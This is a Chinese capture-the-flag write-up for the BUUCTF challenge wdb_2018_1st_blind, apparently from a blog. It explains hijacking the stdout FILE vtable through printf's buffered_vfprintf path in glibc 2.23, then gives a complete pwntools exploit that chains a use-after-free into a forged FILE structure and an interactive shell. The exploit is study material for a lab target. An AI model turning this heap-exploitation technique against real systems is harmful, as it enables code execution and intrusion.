(BUUCTF)wdb_2018_1st_blind

前置知识

  • glibc2.23下的_IO_FILE虚表劫持
  • printf函数的利用链

整体思路

程序中存在UAF,但是没有leak,很难有可以利用的值。但是可以劫持bss段下的_IO_2_1_stdout的虚表vtable进行利用。这一部分知识若不会的话需要先去学习。

这里我利用的printf函数利用链如下:

printf函数利用链(glibc2.23)

printf利用链 – glibc2.23

这条利用链如下:

printf -> vfprintf -> buffered_vfprintf -> _IO_sputn(覆盖该函数指针)

这条利用链的需要满足的条件有三点,第一个是进入buffered_vfprintf函数,如下所示:

if (UNBUFFERED_P (s))
	return buffered_vfprintf (s, format, ap);
// #define UNBUFFERED_P(S) ((S)->_IO_file_flags & _IO_UNBUFFERED)
// #define _IO_UNBUFFERED 2

因此,_flags需要含有2。

第二个条件是buffered_vfprintf函数中存在_IO_flockfile宏限制:

# define _IO_flockfile(_fp) \
  if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_flockfile (_fp)
// #define _IO_USER_LOCK 0x8000

_flags不含有0x8000,那么会调用_IO_flockfile函数对文件加锁。因此_flags需要含有0x8000

第三个条件调用函数指针时:

if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0)
{
  	if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush)
		result = -1;
}

因此需要_IO_write_ptr > _IO_write_base即可。

总结条件如下:

  • _flags需要包含0x80000x2,即起码需要为0xfbad8002的形式。(偏移为0x0
  • _IO_write_ptr > _IO_write_base,偏移分别为0x280x20

exp

from pwn import *
from LibcSearcher import *

filename = './wdb_2018_1st_blind'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 26799)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Choice:'

menu_add = 1
add_index_words = 'Index:'
add_size_words = ''
add_content_words = 'Content:'

menu_del = 3
del_index_words = 'Index:'

menu_show = 3
show_index_words = 'Idx: '

menu_edit = 2
edit_index_words = 'Index:'
edit_size_words = ''
edit_content_words = 'Content:'

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

# flags & 2 == 1
# write_ptr > write_base

# 0x602100

# 0x602160 0x60

# 0x6021c0 0xc0

# 0x6021d8 0xd8

backdoor_addr = 0x4008e3    
add(index=0, content='aaa\n')
delete(index=0)
# debug()
edit(index=0, content=p64(0x60203d) + b'\n')
# pause()
add(index=1, content='aaa\n')
add(index=2, content=b'a'*0x13 + p64(0x602020) + p64(0x602100) + p64(0x602160) + p64(0x6021c0) + b'\n')

payload = p64(0xfbad8002)
payload = payload.ljust(0x20, b'\x00') + p64(0x1) + p64(0x2)
edit(index=1, content=payload + b'\n')

# payload = p64(0).ljust(0x28, b'\x00') + p64(0x6021c0)
# edit(index=2, content=payload + b'\n')

# payload = p64(0xffffffff)
payload = p64(0)
payload = payload.ljust(0x18, b'\x00') + p64(0x6021e0)
payload += p64(0)*7 + p64(backdoor_addr)
edit(index=3, content=payload + b'\n')

payload = p64(0x602100)
# debug()
edit(index=0, content=payload + b'\n')
# pause()
# debug()
sh.interactive()
  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值